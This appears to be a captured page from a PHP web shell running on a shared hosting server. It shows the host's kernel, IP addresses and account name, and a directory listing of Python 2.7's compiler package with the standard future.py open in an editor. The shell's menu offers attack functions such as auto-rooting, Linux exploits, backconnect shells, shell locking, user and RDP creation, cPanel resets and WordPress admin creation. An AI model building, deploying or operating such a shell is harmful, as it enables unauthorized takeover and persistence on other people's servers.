Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
compiler /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
1023
B
-rw-r--r--
__init__.pyc
1.27
KB
-rw-r--r--
__init__.pyo
1.27
KB
-rw-r--r--
ast.py
36.63
KB
-rw-r--r--
ast.pyc
70.43
KB
-rw-r--r--
ast.pyo
70.43
KB
-rw-r--r--
consts.py
468
B
-rw-r--r--
consts.pyc
737
B
-rw-r--r--
consts.pyo
737
B
-rw-r--r--
future.py
1.85
KB
-rw-r--r--
future.pyc
2.89
KB
-rw-r--r--
future.pyo
2.89
KB
-rw-r--r--
misc.py
1.75
KB
-rw-r--r--
misc.pyc
3.65
KB
-rw-r--r--
misc.pyo
3.65
KB
-rw-r--r--
pyassem.py
23.7
KB
-rw-r--r--
pyassem.pyc
25.34
KB
-rw-r--r--
pyassem.pyo
24.78
KB
-rw-r--r--
pycodegen.py
46.69
KB
-rw-r--r--
pycodegen.pyc
55.19
KB
-rw-r--r--
pycodegen.pyo
54.76
KB
-rw-r--r--
symbols.py
14.15
KB
-rw-r--r--
symbols.pyc
17.26
KB
-rw-r--r--
symbols.pyo
17.23
KB
-rw-r--r--
syntax.py
1.41
KB
-rw-r--r--
syntax.pyc
1.84
KB
-rw-r--r--
syntax.pyo
1.84
KB
-rw-r--r--
transformer.py
51.87
KB
-rw-r--r--
transformer.pyc
46.53
KB
-rw-r--r--
transformer.pyo
44.76
KB
-rw-r--r--
visitor.py
3.8
KB
-rw-r--r--
visitor.pyc
4.09
KB
-rw-r--r--
visitor.pyo
4.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : future.py
"""Parser for future statements """ from compiler import ast, walk def is_future(stmt): """Return true if statement is a well-formed future statement""" if not isinstance(stmt, ast.From): return 0 if stmt.modname == "__future__": return 1 else: return 0 class FutureParser: features = ("nested_scopes", "generators", "division", "absolute_import", "with_statement", "print_function", "unicode_literals") def __init__(self): self.found = {} # set def visitModule(self, node): stmt = node.node for s in stmt.nodes: if not self.check_stmt(s): break def check_stmt(self, stmt): if is_future(stmt): for name, asname in stmt.names: if name in self.features: self.found[name] = 1 else: raise SyntaxError, \ "future feature %s is not defined" % name stmt.valid_future = 1 return 1 return 0 def get_features(self): """Return list of features enabled by future statements""" return self.found.keys() class BadFutureParser: """Check for invalid future statements""" def visitFrom(self, node): if hasattr(node, 'valid_future'): return if node.modname != "__future__": return raise SyntaxError, "invalid future statement " + repr(node) def find_futures(node): p1 = FutureParser() p2 = BadFutureParser() walk(node, p1) walk(node, p2) return p1.get_features() if __name__ == "__main__": import sys from compiler import parseFile, walk for file in sys.argv[1:]: print file tree = parseFile(file) v = FutureParser() walk(tree, v) print v.found print
Close